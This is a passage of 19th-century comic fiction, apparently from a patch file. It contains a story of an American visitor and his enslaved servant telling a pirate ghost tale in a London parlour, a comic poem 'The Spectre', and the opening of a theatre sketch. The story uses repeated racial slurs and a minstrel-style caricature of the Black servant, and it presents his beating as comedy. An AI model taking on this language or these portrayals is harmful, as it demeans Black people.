+arguments and observations. In supporting these, he was generally rather
+loud and tenacious; and one of his most favourite notions was, that
+almost all genuine religion had travelled westward to America, which
+had thus become the ark wherein it was preserved, and the very Salem
+of the modern world. He believed, however, on the authority of the
+early historians of the country, and especially on that of the strange
+narratives of the Mather family, that certain parts were grievously
+vexed by witches and evil spirits; for, like many of his brethren, he
+held that compacts with the infernal powers were still possible. But if
+_New_ England were thus troubled, he also considered that _Old_ England
+was in a still worse condition; for he maintained the well-known saying
+to be no allegory, but a literal fact, that Satan was bodily resident in
+London!
+
+The remainder of the party, to which the reader is now introduced,
+consisted of the old physician himself, and his wife,--a little sharp
+old dame, most terrifically stiff and ceremonious, and dressed in the
+most solemn fashion of half-a-dozen years previous. Her hair, superbly
+powdered, was most exactly combed straight upright over a cushion,
+the sides being curiously frizzed, and the back turned up in a broad
+loop; upon the top of which tower appeared a tremulous little gauze
+cap, decorated with ribands, and fastened by long pins with heads of
+diamond-paste. The rest of her dress consisted of a stiff rose-colour
+silk gown, of great length in the waist, and bordered in every part with
+rich full trimmings; whilst the front, and all around it, was open, and
+drawn up in large festoons with knots of riband, discovering an under
+garment of purple silk, and a round and full-flounced white muslin
+apron. Black silk shoes, with high French heels and rich diamond-cut
+steel buckles, completed her costume. Next to this stately dress, if
+there were any thing in which Mistress Cleopatra Curetoun was most
+particularly particular, it was in observing and exacting the most
+punctilious manners, and in the exhibition and preservation of her
+tea-equipage; a very rare, very small, and very fragile, set of Nan-kin
+porcelain, which forty years back, was in the highest estimation and
+value.
+
+The recent peace with America, and particularly the arrival of a ship
+from the United States, had inspired Dr. Downwithit with even more
+than his usual warmth and energy in discoursing of them, especially
+when he spake of the unlooked-for happiness and glory of "the Thirteen
+Stripes of America at that moment flying in the river!" He also farther
+expressed his joyful zeal by frequent and vigorous blows upon Mrs.
+Cleopatra's small round tea-table, of the carved Honduras mahogany then
+so fashionable, which approached in colour to ebony itself. At every
+stroke of his broad and heavy fist, all the china simultaneously leaped
+and chattered, and the table declined and rose again with a creaking
+jerk, which showed how much it was internally affected by the worthy
+preacher's zealous orations; and it may be doubted if either spring
+or hinge ever perfectly recovered them. At each of these convulsions,
+Mrs. Cleopatra regarded her visitor with a withering frown, every
+lineament of which was visible, from the extremely open character of her
+head-dress; and she appeared to be earnestly wishing that the boisterous
+admirer of America were safe in irons on board the vessel he declaimed
+about, with thrice the thirteen stripes duly laid upon his back.
+
+"The Thirteen Stripes of America in the river, madam!" exclaimed the
+doctor for the twentieth time; and for the twentieth time he drove his
+fist upon the table with the aforesaid consequences; "the Thirteen
+Stripes of America in the river!--it's a step towards the universal
+peace of the world, and an event not to be paralleled in our times!
+But what do we hereupon? Why, I'll tell you: instead of receiving our
+American brethren with repentance, kindness, and honour, we let their
+ship come up even to the very Custom-house with as little regard as a
+herring-buss or the Gravesend tilt-boat!
+
+"Convince yourself of it by today's _London Chronicle_. Only listen.
+'February 8th. Mr. Hammet begged to inform the House of a very recent
+and extraordinary event; that, at the very time he was speaking, an
+American ship was in the river Thames, with the Thirteen Stripes flying
+on board!'--an interjectional bang upon the table.--'She offered to
+enter at the Custom-house, but the officers were at a loss what to do.'
+Now, Mr. Physician, what have you to say to this?"
+
+"Why, doctor," said Curetoun merrily, "that brother Jonathan was
+in vastly great haste to get a week sooner where nobody wanted him
+at all; and so we may conclude that he's very glad the war's over,
+notwithstanding his swaggering."
+
+"But, sir, we _do_ want our Transatlantic brother," instantly rejoined
+Downwithit, in a vehement and positive voice; "we want all those
+blessings which America has in such abundance,--her liberty, her
+patriotism, her pastoral simplicity, her temperance, her humanity, her
+piety, her----"
+
+"Her witches, and her slaves!" added the physician quietly.
+
+"Sir," said the minister, innocently, "there has not been either witch
+or conjuror in America for these last fifty years, and more. If I live
+another day, I will go to the wharf and glad my eyes with the sight
+of that most happy vessel wherein the Thirteen Stripes of America are
+now floating in the river; nor will I refuse to give the right hand of
+fellowship to the meanest mariner or servant on board, but think myself
+honoured and happy in his grasp: for methinks there must be something
+soul-refreshing in the very voice and touch of persons coming from so
+pious a country. _Here_ we speak with the tongues of worldlings; but
+_there_ the common converse is framed out of that used by our ancient
+godly ancestors, who, for conscience sake, emigrated to the American
+deserts and forests. It is 'holy oil from the lamps of the sanctuary,'
+as the pious John Clarke calls it; a sort of blessed tongue, which----"
+
+"You're an awful smart chap, I calkilate," exclaimed a loud voice in the
+passage, with a most remarkable kind of twang; "you _are_ mighty 'cute,
+but I rather guess now the 'squire is _to_ home, and that I must see him
+right slick away at once, and so here I sticks."
+
+"Yes, sure, he speak to massa," added another voice, evidently that of a
+negro, with a thick gobbling sound; "he berry 'ticklar message for him
+from berry ole friend." Then, in a lower tone, it continued, "He give
+Ivory lilly drop o' rum, Mister Spanker Pokehorn see him."
+
+These speeches had followed a loud knocking at the door, and the
+servant's vain attempt to explain that Dr. Curetoun was engaged with
+visitors. The domestic, however, at length succeeded in tranquillising
+the guests, and then entered with a letter for the physician, of which
+he almost immediately announced the contents, by saying, "Well, Dr.
+Downwithit, you will now have it in your power to shake hands with a
+_real_ American from yonder ship, without waiting till to-morrow, or
+even going down to the wharf; for I learn by this letter, that my old
+acquaintance Backwoodsley, who went to settle in Kentucky twenty years
+ago, has sent over his intended son-in-law, and one of his negroes, to
+collect his outstanding debts, and dispose of his property."
+
+"By your favour, then, sir," said the clergyman, "I beg that we may
+presently have them both in."
+
+The physician's orders to this effect being given, in a few seconds
+appeared the American and his negro. The former was a very tall and
+strong man, with a sallow and most audacious countenance, shaded by
+hog-colour hair, which grew in stiff pendent flakes; he was dressed in
+a large loose suit of coarse light-brown duffel, with a long and wide
+frock-coat and trousers, and a broad white hat. He carried a five-feet
+untrimmed bamboo in one hand, and in the other a Dutch pipe, which he
+continued to smoke and swing about, to the great molestation of Mrs.
+Cleopatra, who absolutely started with horror, at the sight of a human
+being clad in a style so savage, and so entirely opposite to the fashion
+of the time. Of the negro it is enough to say, that he was of the Dutch
+race, broad and big in person, very greasy in the face, something like a
+ship's cook; his mouth was of an enormous size, and evidently accustomed
+to both good laughing and good living; and his dress consisted of
+coarse dark-grey cloth, with a tow shirt and trousers, and a dirty
+striped woollen cap. After a courteous welcome and introduction, the
+physician inquired after the welfare of his acquaintance in Kentucky, to
+which the American replied in the same loud nasal tone as before,--
+
+"Why, the 'squire's pretty kedge for an ould un, and I guess that I'm
+cleverly myself; though, as I've been progressing all day hither and
+yon, I arn't in such good kilter as I was when I first got in the ould
+country; for I reckon it rained some to-day, and was dreadful sloshy
+going, enough to make mankind slump at every step. It was mighty near
+four o'clock, too, afore I could see a plate-house to feed at; and when
+I made an enquerry for one, folk laughed and said nout, as if I'd spoke
+Greek, or was moosical, for you doosn't talk such dreadful coorious
+elegant English here in your little place of an island as we do, I
+reckon. So I began to rile, I did; and grow tarnation wolfy: but at last
+I saw the New York Coffee-house, and in I turns, and spends the balance
+of the day there. They charged me four dollars for feed and drinking,
+they did; and yet couldn't give me a beaker of egging, or gin cock-tail,
+or a grain of sangaree, or any other fogmatic, or a dish of homminy. And
+now I should like to make an enquerry of you; what's your names? and how
+have you got along?--I say, Ivory, you precious nigger!" he continued,
+suddenly turning round and aiming a long stroke at him with his rattan,
+"What do _you_ do, in the 'squire's keeping-room?"
+
+"Massa help tell he to come in," returned Ivory, most adroitly edging
+and skipping out of the sweep of the bamboo.
+
+"Yes, sir," interposed the physician, coming between them, "it was
+at my request he came, and so he is not at all to blame. My friend
+here is extremely desirous of hearing from your own lips something
+about a country which he esteems so _free_, so _pious_, and so _happy_
+as America." This he uttered with a peculiarly arch expression, and
+a side-glance at Downwithit; and then continued, "But first what
+refreshments shall we offer you, Mr. Pokehorn; I believe that's your
+name?"
+
+"Oh, I arn't nice, by no manner of means," returned the American; "I can
+take considerable of anything now, but the nigger will like a beaker of
+rum best."
+
+"Pray, sir," said Mrs. Cleopatra in a very stately manner, though meant
+to be very gracious, "what family has Mr. Backwoodsley? I was but a mere
+girl when he left Europe, though I _can_ remember he was a fine tall
+portly gentleman."
+
+"Possible! Well, now, ma'am, I should have guessed you'd been raised
+a purty middling awful long time afore that, to look at you: but, as
+you say, the 'squire's tall enough now, I calkilate, and so is all his
+family, for that matter; for Longfellow Backwoodsley, of Kiwigittyquag,
+measures six foot three in natur's stockings, and his sister Boadicea
+is but an inch and a half shorter. What family has the 'squire, did
+you say? Why, mighty near a dozen, I calkilate. Let's see: there's
+Travelout Backwoodsley, the oldest, he was the squatter as went to
+Tennessee; Longfellow, as I told you about, an awful smart gunner and
+racoon-catcher he is; Gumbleton, that is considerable of a lawyer
+in York State: Hoister, as went to sea; my ould woman as is to be,
+Boadicea; Increase-and-Multiply, the schoolmaster in Connecticut;
+Brandywine, what keeps the Rock of Columbia hotel at Boston, and a
+mighty powerful log-tavern it is as you'll see in a year's march;
+Leandish, that has the plate-house at Hoboken; Skinner, what set up the
+leather and finding store in Kentucky: I some think that's the tote,
+but four or five squeakers, squealers, younkers, whelps, and rubbish,
+that keeps about the ould log-house at home as yet. Pray how ould's your
+wife, 'squire? and where was she raised?"
+
+"I suppose," said the physician, taking no notice of this question,
+"that Master Backwoodsley is growing rich, and likes his settlement, by
+his not coming back to England."
+
+"Oh yaas! he conducts well, and likes his location," was the reply. "He
+bought at a good lay first, and then filled it with betterments, and
+farming trade, and creturs, and helps, and niggers, at an awful smart
+outlay of the dollars, I calkilate; but he has got along considerable
+well for all that. For sartain he is the yellow flower of the forest
+for prosperity. As for coming back, he used to say, when the war had a
+closure he would go to the ould country, and bring away the plunder he
+left behind; but about last fall the ague give him a purty particular
+smart awful shaking, and put him in an unhandsome fix, so the journey
+wouldn't convene. So one day, as I was a-looking over my snake-fence
+at Rams-Babylon, almost partly opposite to his clearing, what doos I
+see, but the 'squire coming along the road at a jouncing pace on his
+Narragansett mar, what is a real smasher at a trotting, and then he
+pulled up close to the zig-zag, and I stuck myself atop of a stake,
+and we held a talk. Says the 'squire, says he, 'Son-in-law Spanker P.
+Pokehorn as is to be'--my name's Anthony Spanker Pendleton Pokehorn,
+but he always shorts it,--'Son-in-law Spanker P. Pokehorn, I'll tell
+you what it is,--I guess I'm getting ould now, and more than that, I've
+a desp'ut ugly ague, what has made me quite froughy and brash to what
+I was, so that I should take two good blows of my fist to bring down a
+beef-cretur; which doosn't ought to be, when a man's only sixty. Now,
+you see, as I can't go to get in my debits and plunder from the ould
+country, I'll deed them all to you for thirty dollars cash, or lumber,
+or breadstuffs, or farmers' pro_duce_, if you admire; and the tote
+appreciates to mighty near two hundred, I guess.'"
+
+"Well, sir," said Curetoun, "and on this account you have come to
+England?"
+
+"Oh yaas!" answered the Columbian; "but at first I declined off to buy
+at a better lay; for arter higgling back and forth for a while, I give
+the 'squire but twenty dollars in all, and he give me the nigger, Ivory
+Whiteface there, besides. Sartain he was awful sharp to make an ugly
+bargain; but if he _was_ the steel blade, I guess I was the unpierceable
+di'mond; and, for fear he should squiggle, I got all set down in black
+and white afore the authority, and a letter to Lawyer Sharples. Now I
+calkilate to put up all at auction, and to sell some notions of my own,
+what I've brought over in my plunder, to make more avails.--How do you
+allot upon that?"
+
+"Why, sir," said Dr. Downwithit, "that sensible notions from America
+are very much wanted at this time, to show us the excellence of her
+equitable laws and liberties, and the purity of her religion. I say,
+sir, publish them. There's no doubt of their selling well and quickly
+for any bookseller----"
+
+"The Lord!" exclaimed Mr. Pokehorn, with a shrill whistle and a sidelong
+glance at the minister, and then, turning to Curetoun, he said, "The
+ould 'squire's awful wordy; he's a Congress-man or a slang-whanger, I
+guess, or else he's mighty moosical, I reckon.--Bookseller!--Publish!
+--What doos he mean?--You tarnation nigger! who told you to laugh?
+You calkilate as I harn't got the cowskins here; but I'll whop you
+cooriously all as one.--I'll tell you what it is, friend, I doosn't know
+what you means, I doosn't."
+
+"Why, Mr. Pokehorn, that you should print your American notions."
+
+"Print!--Oh yaas! I guess now,--in the notice of vendue you mean. Why,
+there's no merchants' trade, no awful package; only a few small little
+notions, and such wares, though they arn't got genoowine into the ould
+country, I reckon. It's some Indian plunder as I cleared out when I came
+away."
+
+"Is it possible, then," exclaimed Downwithit, "that the highly-favoured
+inhabitants of America deal in plunder! Restore that illgotten spoil of
+the Indians young man, or----"
+
+"What _doos_ he mean?" interrupted Pokehorn, in a perplexed and angry
+voice. "Why, doosn't he understand English? Arn't plunder travelling
+stuff?--And what did you think notions was?"
+
+"Sir," said the minister, "in our language the term signifies thoughts;
+and I supposed that you had meant intellectual, or moral, or religious
+views of America; not the base wares of worldly traffic."
+
+"Perhaps, Mr. Pokehorn," said the physician, wishing to relieve both his
+guests, "you interest yourself more in the politics of your country. Did
+you witness any of the late actions? or was your residence near the seat
+of war?"
+
+"Sartain!" returned the American. "I guess that we had purty
+considerable tough skrimmageing about us. What with the Indians, and the
+riglars, and the skinners, and the cow-boys, there warn't no keeping a
+beef-cretur in the pen, nor sleeping ten winks at a time. You'd have
+thought the devil was let loose."
+
+"And no doubt he was, as he always is in war," said Downwithit, "or
+rather he sent forth his legions to vex your persecuted land; for his
+only proper habitation on earth is this sin-devising city of London!"
+
+"That a berry true, massa," interposed the negro, "for Massa
+Backwoodsley often say, 'Ivory, I whop you, sure as a devil in London;'
+and he always do it. But folk say, another devil in Ameriky, for all
+that. He know story of man what see um and talk to um. He not b'lieve it
+at all, dough. Good parson sometime preach about he's tempatation."
+
+"That's a fact," added Mr. Pokehorn, "and an awful strange history it
+is, if true. If you want to hear the story, the nigger can fix you; for
+he's precious tonguey and wordy about them devildoms, and witches, and
+wild Indians, when he sits in the mud in the sunshine, at Rams-Babylon
+and High-Forks, keeping the helps from work, or at a maple-log fire in
+the winter."
+
+"Then, my sable friend," said Downwithit, "with the good leave of all
+present, we'll have it now."
+
+"Why, I'll tell you what it is," answered Pokehorn, "if it will happify
+the ould 'squire, the nigger shall have his own head for once in a
+while; so fire away, Ivory, and when you're not right I'll set you wrong
+myself."
+
+"Iss, massa," began the negro; "ebbery body like a hear ole Ivory tell
+he story about a PLUNDER CREEK:
+
+"In um ole ancient time of York, afore a great war, all a West Indy keys
+and a Long Island Straits and Sound war' a berry full of a ugly cruel
+pirates;--s'pose massa often heard of they;--and um ould folk, what sure
+to know, say a devil fuss help 'em get plunder, and then larn 'em how to
+hide it safe, in a middle of dark stormy nights, under bluffs, and up a
+creeks, all along shore, nighum Bowery Lane.--S'pose massa know a Bowery
+Lane, in um end of York?"
+
+"Sartain the 'squire does know that, you tarnation Guinea-crow, though
+he doos keep in the ould country," interposed Mr. Pokehorn; "but I guess
+it's enough to make mankind rile to hear a body doubt it, sin' the
+Bowery Lane, in the free independent city of York, in York State, must
+be knowed by all the tote of the univarsal arth, I reckon! Well, now
+I calkilate it was a mighty coorious place for them ugly pirates, and
+did convene well, being partly all nigh the straits, awful rocky, and
+considerable full of trees hanging over, because there warn't then no
+clearing them away; and the say was, that the devil and them tarnation
+set of sarpents buried their plunder there, where mankind mought look
+for it till the week arter doomsday, and never get it out again. They
+say the devil's hands is cruel clitchy when he takes money to keep; and
+though a purty considerable banditti of money-diggers has often been
+arter it, they couldn't fix it, that's a fact, and I some think that
+nobody never will now."
+
+"Him that try a last," resumed the negro,--"a half-starve crazy
+schoolmaster and almanack-maker, name a Domine Crolius Arend
+Keekenkettel, what some call he Peep-in-a-pot,--he travel about and live
+by him wits, wherever him find good cupboard. He ask a ole governor of
+York let him conjure away a devil, and get up money for a state; only he
+want a pay first to help him dig. But golly! a governor he mighty smart
+for white man, and no fool; he say, 'Dere a shovel and pickaxe, dem all
+you want now, I guess. You go dig; you find considerable much treasure
+of a ugly pirates, you hab a half then, but no tink a get anyting afore,
+I calkilate.'"
+
+"Shut your ugly beak, you croaking blackbird!" interrupted the American,
+incensed by Ivory's singular praise of the whites; "and doosn't be
+moosical upon your betters; though he was an Englisher, I reckon that
+he was a purty middling sight afore a small world of niggers. Well, the
+schoolmaster he contrived to make friends with a fat little Dutcher,
+which had to name Dyckman Deypester, and was located on a clearing in
+the Bloomendael, up the Bowery Lane, on the road to Yonkers and Tarry
+Town. The say was, that he had such an almighty quantity of dollars,
+that he floored his keeping-room with them under the bricks; and I
+rather guess that he did keep 'em awfully close out of the sight of
+mankind. I doosn't tell you this for sartain: but, to be sure, he was
+considerable of a farmer, he was; and made as many betterments, and
+got as many humans and creturs about his clearing, as brought a whole
+banditti of suitorers arter his daughter Dortje; and she was besides a
+dreadful smart, clever, coorious lass as you shall see between Cow-neck
+and Babylon. There was young Louis Hudson, a springy, ac_tive_ young
+fellow. He was a settler; but nobody knowed where he was born, nor
+himself neither, like a homeless and markless ram. I guess, though, he
+was raised to York State, he was such a flower of mankind. Then there
+was ould Morgan Hornigold, from Jamaica: belike he was a leetle of the
+buccaneer, for he'd been to sea all his days, and looked some between a
+Jarman and a Spaniard, with a cross of the sea bull-dog. He was purty
+kedge still; but I some think he wanted to lay up for life where it
+warn't knowed what he had been. Then there was the almanack-maker, and a
+banditti of suitorers besides, as I said afore. I calkilate that dollars
+warn't awful plenty with any of them: but what they wanted in cash,
+they made up in fierce love to Doll Deypester; and stuff, and notions,
+and palaver to the ould Dutcher. He was a coorious smart individual,
+and considerably moosical, and so he let them think that they'd got
+his good word by sarving as helps on his clearing, making his zig-zag
+grand against breachy cattle, or the likes of that; but I reckon that
+he warn't the fish to be caught without the golden hook: though, if the
+devil had been the fisherman then, he would have fixed the Dutcher. I
+some think that it was nigh spring that Doll Deypester's birth-day came
+about, and all the suitorers were awful earnest with ould Dyckman to fix
+for one of them; the woman being most for young Hudson, and the Dutcher
+for him as had most plunder, and could best get well along in the world.
+So says the mynheer, says he, 'I'll tell you what it is,' says he;
+'you're all mighty smart fellows, you are; but afore I give my gal to
+any of you, I must know if you can pay the charges; for I reckon for me
+to give the dollars and the wife both is what I call a leetle too purty
+middling particklar. I won't have no squatting on my clearing, and no
+bundling with my darter, I won't; and so, to save squiggling, whoever of
+you can bring me first five hundred hard dollars on her birth-day shall
+have Dortje Deypester.'--That was what ould Dyckman said, only I rather
+guess that he didn't talk such coorious elegant English as I doos,
+because he was an awful smoker, and a Dutcher besides. Upon the hearing
+of this, they mighty soon took themselves slick right away off, all but
+young Hudson and the schoolmaster; for one knowed when he was in good
+quarters, and t'other loved Dortje too well, I calkilate, to leave till
+he couldn't stay no longer.--I say, Ivory, arn't you going to tell the
+'squire the story, or do you calkilate as I should go the whole hog for
+you, you 'tarnal lazy log of ebony?"
+
+"Him tinkee massa like to hear heself talk best," answered the negro.
+"Golly! he tell it awful elegant, sure:--most as well as ole Ivory. A
+day afore a Dortje's birth-day, come on mighty ugly storm, what a ole
+folk say tear up ebberyting he meet on a ground, and rocks on a shore,
+so that man see considerable much strange tings dere, what he never
+know afore or again. A wind crack a biggest trees, and snap a strongest
+zig-zags like a twigs, and a rain pour down like a water-spout. Toward
+a night a storm he little clear up, and a wind he blow but in puff and
+gusts, and a moon show heself, dough in mighty cloudy watery sky.
+Then Louis he leave a house of ole Deypester, 'cause he not see Dortje
+give away next morning to Jamaica-man, and bote of 'em sad enough, he
+calkilate; but there no help, and away he go in despair. He not got
+far from a clearing when he see a moon shine down mighty ugly narrow
+gulf, where a road go to a Hudson River below, and he stop little and
+look, 'cause he never remember he to see a place afore. While he stand,
+he tink he hear man speak, and then he see him sitting on rock in a
+moonlight, half way down a gulf, and another standing by. Hudson then go
+down heself on a dark side, till he get opposite, and then he look over
+and see a Domine Keekenkettel talking to a mighty 'tickler handsome,
+grand, ole colour gentleum----"
+
+"Sartain it was the ould gentleman, sure_ly_," interrupted the American,
+"in the shape of a nigger, which arn't considerably much of a hiding for
+the devil, I calkilate."
+
+"I don't tink he look a bit of a devil," answered Ivory, somewhat
+offended. "A tink a devil so handsome as a colour man? Be sure he no
+devil, 'cause ebberybody know he all white!"
+
+"Quit, you lying jackdaw!" replied Pokehorn with great promptness, and
+a long stroke at Ivory; "that's only in Guinea, I calkilate, that he
+mayn't be mistaken for one of the family. Go on, and don't be moosical,
+or I trounce you."
+
+"Well," resumed the negro, "Louis soon hear a domine say, 'This our
+bargain, then,--I take your place to watch a pirates' treasure,--I
+guess I soon fix him, and get him all slick away. But afore you and I
+deal, p'raps you show where a money is buried.' A stranger then point
+between a rocks beside him, and say in he's deep voice, 'Dere!' And then
+down by a colour man, Louis he see into a ground, what seems all full
+of treasure shining in a moonlight; here awful much gold and dollars,
+and dere a gold and silver plate, and a t'other place full of di'monds
+and jewels, bright as stars in a night sky. Grach! I tink he won'er,
+and b'lieve he rile a little that a almanack-maker so easy get a five
+hundred dollars for Dortje Deypester. A domine stare into a cave as if
+he's eyes eat up all he look at; but at last he get up and say, 'I gree,
+and dere my hand on a bargain; I take care all instead of you, and much
+more as you can show me.' So he fill he's pouches, and then go away to
+ole Deypester for a horses and bags to bring away a rest, dough he often
+turn a head to look back at a treasure. He hardly gone when a strange
+colour man call out to Louis in he's deep voice, 'This a dark night for
+a sad heart to journey in.' Louis turn he round directly, and see him
+close beside, berry tall and genteel, such a bootiful gentleum! dough
+he no make out he's face for a clouds over a moon. He little feared
+and won'ered at first, but soon he got up he's pluck and say, 'I guess
+it dark enough, but how you know my heart sad?' T' other answer him
+smart, 'That want no wizard, when he hear a sighs like yours. But he
+know little more yet: he reckon you want a five hundred dollars afore
+to-morrow, or lose your sweetheart, which a true shame for ac_tive_
+springy lad like you: a pirates' treasure dere, hab a ten thousand times
+as much, as he know by a watching it these twenty years.'--'In a God's
+name!' say Louis then, 'who are you,--and who set you there?'--'One
+of a last of a Spanish buccaneers' say the other; 'that berry Captain
+Hornigold, what make love to Dortje Deypester. He take a ship, and kill
+all on board but me and young child, that I slave to; then he bring us
+bote to a shore, where he hide all his plunder, and stab us, and tell a
+ghosts to watch it. A young child he live, and found on a river bank,
+and so called by it name--Louis Hudson, it yourself!--but I die, and
+wan'er about a treasure-grave till a captain come back, or another take
+my place, or a right owner come for his own. All that happen to-night,
+and I soon at liberty for ever!--You hear a money-digger say he look
+to a pirates' spoil hereafter, and be sure he never quit a creek
+again, dough he never find a gold any more. This treasure here, belong
+to a father, who killed in ship; it now all your own; take him, but
+take a nothing more;--use him well, and you be fifty times so rich as
+Deypester, and hab a blessing beside.--Hark! a bell strike twelve!--my
+time most up now, and dere come a captain!"
+
+"Ivory, you 'tarnal tonguey imp!" again interrupted the American, "doos
+you mean to keep on all night about that precious wordy black preaching
+in the creek? Now I'll show you how to finish it all right slick away at
+once, I will.--You see, then, the captain comes trampoosing up from the
+river with a spade and a lanthorn, to dig for the treasure; and, as soon
+as he gets in, he cries out, 'Plunder and prize-money! this is a desp'ut
+ugly awful dark berth.--Is there anybody on watch, I wonder?' Upon which
+that dreadful big black comes up and says, 'Yes, I calkilate I'm awake
+here; and now, as I've kept the treasures of the bold buccaneers till
+you've come back, if you admire we'll go off together.'--'Bear a smart
+hand, then, with the plunder into the boat below, afore the tide falls,'
+says Hornigold. 'Clouds and midnight! how dark it is, and the gale blows
+stiffer than ever!--Seas and billows! why, the tide's coming up the
+creek ten fathom strong!'--That's all as was ever heard of the captain
+or the nigger, I guess; for what between the water as come roaring up,
+and the rain as came pouring down, they were carried off to sea with all
+their plunder, and nobody never saw or heard of them sarpents again!"
+
+"A most astonishing and mysterious providence, truly," said Downwithit,
+"and worthy of being recorded with the narratives of Baxter, Reynolds,
+Janeway, and Mather.--But what became of the others?"
+
+"Why," said Mr. Pokehorn, "as for Louis, he turned out to be some awful
+great man or other, and considerable rich. He showed ould Deypester
+a thousand dollars next morning, and married Dortje afore night. But
+Keekenkettel went mad outright, because he couldn't never fix the
+treasure again, and found that he'd filled his pouches with shells and
+stones, as looked mighty like dollars and doubloons in the moonshine.
+Folk say he was only dreaming, and that there never warn't no such
+treasure for him to find; though they guessed that young Hudson got his
+money by the storm having washed it up out of the ground. But it's a
+true fact, it is, that the domine always arter, kept camfoozling about
+the Pirates' Plunder Creek as long as he lived, as he bargained to do;
+and whenever there's a mighty smart storm in the night, with a blink of
+moonlight, the say is that he's to be seen there still."
+
+
+
+
+                         THE SPECTRE.
+
+    It was a wild and gloomy dream: to think upon it now,
+    My very blood is chill'd with fear; and o'er my aching brow
+    Cold clammy drops are stealing down, I tremble like a child
+    Who listens to a story of the wonderful and wild!
+    And well a stouter heart than mine might quake with dread, I ween;--
+    But who hath ever gazed, like me, on such a fearful scene!
+
+           *       *       *       *       *
+
+    Sleep dropp'd upon my wearied eyes, and down I sank to rest;
+    But no refreshing slumbers upon my senses press'd;
+    Ten thousand lights before my eyes were dancing,--blue and red;
+    Ten thousand hollow voices cried--I knew not what they said.
+    My brain wheel'd round--faint grew my limbs--I cried and
+          scream'd in vain;
+    It seem'd as though some cursed imp had bound me with his chain!
+    My tongue clave to the parched roof,--a raging thirst was mine,
+    As I had drunk for months and months, nought else but saltest brine;
+    Thirst such as parched pilgrims feel who range the desert wide,
+    Or those who lie 'neath scorching skies upon a calmed tide.
+    My temples throbb'd as they would burst; and, raging through my brain,
+    The boiling blood rush'd furiously with sound like a hurricane!
+    I rav'd and foam'd; my eyeballs strain'd, as though the nerves
+          would burst,
+    As by my side appear'd a form--a demon form accurst!
+    And suddenly another came--another and yet more,
+    All clad in dark habiliments;--a dozen--ay, a score!
+    On me they leer'd with savage joy, and seized me, every one,
+    And round and round about me went.--Oh! how my senses spun!
+    I thought the leader of that band of sprites must surely be
+    The Evil One, and I his prey. I vainly strove to flee:
+    I tried to pray,--my tongue was dumb;--then down upon the ground
+    I sank, and felt my every limb with fiery fetters bound.
+    I know not now, how long I lay; my senses all were gone,
+    And I with those infernal ones was left alone, alone.
+    At length I started with affright, and felt, or seemed to feel,
+    The blasts of hot sulphureous air across my forehead steal.
+    A horrid thought, as on we mov'd, upon my senses burst,
+    That they were bearing me away unto the place accurst.
+    Oh! language vainly strives to paint the horrors of that ride!
+    Two demons at my head and feet, and two on either side.
+    The stars above were bloody red--each one seem'd doubly bright,
+    And spectral faces glar'd in mine, with looks of grim delight.
+    Still slowly, slowly on we mov'd, that ghastly troop and I:
+    I questioned, where?--a fiendish laugh was only their reply.
+    On, onward I was borne. At last they stay'd, and in my face
+    A hideous visage peer'd on me with horrible grimace:
+    Then down they threw me (still unbound) upon a bed of stone,
+    And one by one they vanished, and I was left alone!
+
+           *       *       *       *       *
+
+    How long I lay, I may not say. At length I saw a form
+    Beside me, and upon his brow there seem'd a gathering storm.
+    "Where am I?" loud I scream'd, and paus'd. Again I rav'd, and cried,
+    "And who art thou, thou evil one! who standest at my side?
+    What spectre art thou?" "Come," said he,
+                 "young feller, hold your peace;
+    You're on the stretcher now, and I'm the _'spector_ of police!"
+
+
+
+
+   AUTHORS AND ACTORS; OR, ENGAGING A COMPANY.
+              _A Dramatic Sketch._
+
+_Scene--The Manager's Room. The Manager discovered._
+
+_Manager._--Well! my theatre is built at last, and I have now only to
+think about opening it. My walls are so dry that they cannot throw a
+damp upon my prospects. My stage is all ready for starting; and every
+one, I am happy to say, seems inclined to take the box-seat. Everything
+now must go as smooth as a railroad. I have always heard that a manager
+must lead a devil of a life; but I am in hopes I shall be an exception
+to the rule, and that management to me will be a delightful pastime.
+
+_Fitz-Growl_ (_without_).--But I must see him.
+
+_Manager._--Who the deuce can this be?
+
+     (_Enter a Servant._)
+
+_Servant._--If you please, sir, here's a person wants to speak to you.
+
+_Manager._--I'm busy about the opening of the theatre; tell him you
+can't get near me.
+
+_Servant._--But he says he's an author, sir, and has called about his
+piece.
+
+_Manager._--His piece! why, these authors let me have no peace at all.
+
+_Servant._--He would come up, sir, though I told him you wouldn't suffer
+any one behind the scenes.
+
+_Manager._--And particularly an author; for he makes people suffer
+enough before them.
+
+_Servant._--Here he is, sir; he would force his way up.
+
+      (_Exit Servant. Enter Fitz-Growl._)
+
+_Manager._--My servant says you would force your way up.
+
+_Fitz-Growl._--And isn't it natural an author should wish to do so?
+
+_Manager._--Well; but, sir, it is not usual in theatres for the manager
+to see any one.
+
+_Fitz-Growl._--Not usual to see any one! It must be a very poor look-out.
+
+_Manager._--Well, sir, as you are here, may I ask your business?
+
+_Fitz-Growl._--Why, being anxious for the success of your theatre, I
+sent you three of my pieces to begin with. Now, sir, I've had no answer.
+
+_Manager._--My dear sir, we cannot answer everybody. Theatres never
+answer in these times. However, your pieces shall be looked out. You can
+believe in my assurance.
+
+_Fitz-Growl._--Certainly; a manager ought to have assurance enough for
+anything. But I tell you, sir, if you want to succeed, you must open
+with my piece.
+
+_Manager._--What is the nature of it?
+
+_Fitz-Growl._--Nature! The beauty of my piece is, that there's no nature
+at all in it; it's beautifully unnatural.
+
+_Manager._--Indeed! I hope there is some spirit in the dialogue?
+
+_Fitz-Growl._--Some spirit, sir! there is a ghost in it.
+
+_Manager._--A ghost, my dear sir! that won't do for my theatre; my
+audience would have too much sense for a thing of that kind.
+
+_Fitz-Growl._--Then you'll never do any good, sir; but, may I ask what
+sort of pieces you intend producing?
+
+_Manager._--Variety and novelty, sir, will be my aim.
+
+_Fitz-Growl._--Novelty! then my piece is the very thing. I sink the
+whole stage.
+
+_Manager._--Thank you; but I'd rather leave the task of sinking the
+stage to others; my aim shall be to raise it.
+
+_Fitz-Growl._--My dear sir, you know nothing of effect; if you could
+only cover the stage with people, and then let them all down at once, it
+would be terrific!
+
+_Manager._--My dear sir, I don't want to cover my stage with people, and
+then let them down; I'd sooner hold my performers up than see them let
+down.
+
+_Fitz-Growl._--That's very fine talking; but you must get the money, and
+I can assure you mine are the only pieces to do it.
+
+_Manager._--Indeed, sir; then I'm too generous to my fellow-managers to
+think of monopolising the only author whose pieces will draw.
+
+     (_Enter Servant._)
+
+_Servant._--A gentleman named Scowl is below.
+
+_Manager._--Oh! the gentleman I was to see respecting an engagement. Beg
+him to walk up.   (_Exit Servant._)
+
